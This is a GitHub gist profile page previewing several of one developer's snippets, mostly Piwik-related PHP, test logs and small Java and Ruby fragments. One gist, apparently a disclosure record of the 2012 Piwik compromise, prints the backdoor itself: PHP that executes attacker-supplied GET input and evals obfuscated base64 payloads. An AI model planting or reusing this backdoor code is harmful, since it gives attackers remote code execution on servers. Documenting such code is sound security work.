Skip to content

Instantly share code, notes, and snippets.

View halfdan's full-sized avatar
🇩🇪

Fabian Becker halfdan

🇩🇪
View GitHub Profile
@halfdan
halfdan / gist:6253228
Created August 16, 2013 20:23
Conversion script for Piwik translation array to JSON
<?php
$nest = true;
foreach (glob("lang/*.php") as $filename) {
echo sprintf("Converting %s\n", basename($filename));
require_once "lang/".basename($filename);
$basename = explode(".", basename($filename));
if($nest) {
@halfdan
halfdan / RandomSingleton.java
Created May 16, 2013 13:33
Random Singleton in Java
public class RandomSingleton {
private static RandomSingleton instance;
private Random rnd;
private RandomSingleton() {
rnd = new Random();
}
public static RandomSingleton getInstance() {
if(instance == null) {
<!-- Piwik -->
<script type="text/javascript">
var _paq = _paq || [];
_paq.push(["trackGoal", 1]);
_paq.push(["trackPageView"]);
_paq.push(["enableLinkTracking"]);
(function() {
var u=(("https:" == document.location.protocol) ? "https" : "http") + "://piwik.example.eu/";
_paq.push(["setTrackerUrl", u+"piwik.php"]);
class Piwik_DAS_API {
static private $instance = null;
/**
* @return Piwik_Actions_API
*/
static public function getInstance()
{
if (self::$instance == null)
PHP Warning: require(/home/travis/Geocoder/vendor/zendframework/zend-stdlib/compatibility/autoload.php): failed to open stream: No such file or directory in /home/travis/Geocoder/vendor/composer/autoload_real.php on line 41
Warning: require(/home/travis/Geocoder/vendor/zendframework/zend-stdlib/compatibility/autoload.php): failed to open stream: No such file or directory in /home/travis/Geocoder/vendor/composer/autoload_real.php on line 41
PHP Fatal error: require(): Failed opening required '/home/travis/Geocoder/vendor/zendframework/zend-stdlib/compatibility/autoload.php' (include_path='.::/home/travis/.phpenv/versions/5.5.0alpha3/share/pyrus/.pear/php') in /home/travis/Geocoder/vendor/composer/autoload_real.php on line 41
Fatal error: require(): Failed opening required '/home/travis/Geocoder/vendor/zendframework/zend-stdlib/compatibility/autoload.php' (include_path='.::/home/travis/.phpenv/versions/5.5.0alpha3/share/pyrus/.pear/php') in /home/travis/Geocoder/vendor/composer/autoload_real.php on line 41
@halfdan
halfdan / gist:4731409
Created February 7, 2013 14:53
Failed tests on Piwik master
PHPUnit 3.7.13 by Sebastian Bergmann.
Configuration read from /var/www/piwik/tests/PHPUnit/phpunit.xml
EEEEEEEEEEEEEE
Time: 7 seconds, Memory: 14.50Mb
There were 14 errors:
@halfdan
halfdan / gist:4182258
Created December 1, 2012 13:33
Piwik Backdoor from 26.11.2012
<?php Error_Reporting(0); if(isset($_GET['g']) && isset($_GET['s'])) {
preg_replace("/(.+)/e", $_GET['g'], 'dwm'); exit;
}
if (file_exists(dirname(__FILE__)."/lic.log")) exit;
eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWNOVrF/IlKatiIlnbIOZ/bpzb2pAyXRl7uF/s7JuffmMlrf3y7XD09OSWbUo9RzF6XzHCz3+0pOeDW0C79s2vqtaSdOTRKZOxfXDlmJOvp8LbzHwJle/aIYEL0YWEpFGwk4nZr4zkRGQsJn3kMND6jcBgayIKnkIX3n2tu1EieGARMoH3W8NXjBp4JAVQq8GFR/KcAbcyoSfhX9vzeU0R8K3mH313Q4UnAykzj9707HzHZ67PJndpyPSqKHbZ0kLq6N0s5KdDxSKYz7wkwE80mW6e3m3gbz8l0i2jh50b2sRJEnwjxJ1tOjVvumO9RrPHsT9BZNSN0qm2F2TlLDO9EqSNMADWCHW/LmLsvmbn009XNOA38yH6qNUm+a97jyA55xzFpgViGxa2SlN2ObBZQeuxwwL9kocnrzBWVXDMo='))); ?><? eval(gzuncompress(base64_decode('eF5dj1tvgkAQhf+KDyRq0gdYUCGGB7RCaYGmwC6BpjHLpStXjbgoNv3vBUybxofJzJmc+U7mk1bRKd1Xoy0niAuBBzPATZh0+sVgWTkecTsZu540x96l9h2RMzKFvKjxISztJubNha7Crv40cYs3YjnC5bVdFWHKIXitSVT5c9MRBCPbUCvNiQ1QhoHYmJlytq4Kb2aQ2GXRBl7QJGux7TKouRbA+GHsqDaEqqS7nAU7CXNkI4hcpEoI5rncrZ6JPDRX7/34yWajx31j8Ks25C02BAWIAKQ+kE4
$ ruby test.rb
I, [2012-11-13T20:14:01.402000 #16322] INFO -- : Starting local Neo4j using db /rahome/becker/test/db using Java::OrgNeo4jKernel::EmbeddedGraphDatabase
I, [2012-11-13T20:14:04.356000 #16322] INFO -- : Neo4j has been shutdown using storage_path: /rahome/becker/test/db
CypherParserImpl.scala:46:in `parse': string matching regex `$' expected but `R' found
Think we should have better error message here? Help us by sending this query to [email protected].
Thank you, the Neo4j Team.
" RELATE left-[r:interacts_with {type:'PDB'}]->right"
halfdan@io:~$ ruby -v
mruby - Embeddable Ruby Copyright (c) 2010-2012 mruby developers
^C
halfdan@io:~$ irb -v
/usr/bin/env: ruby� @: No such file or directory
@halfdan
halfdan / API Result
Created October 12, 2012 12:13
Piwik Plugin IPvUsage
<result>
<IPv6Usage_IPv4>36</IPv6Usage_IPv4>
<IPv6Usage_IPv6>1</IPv6Usage_IPv6>
</result>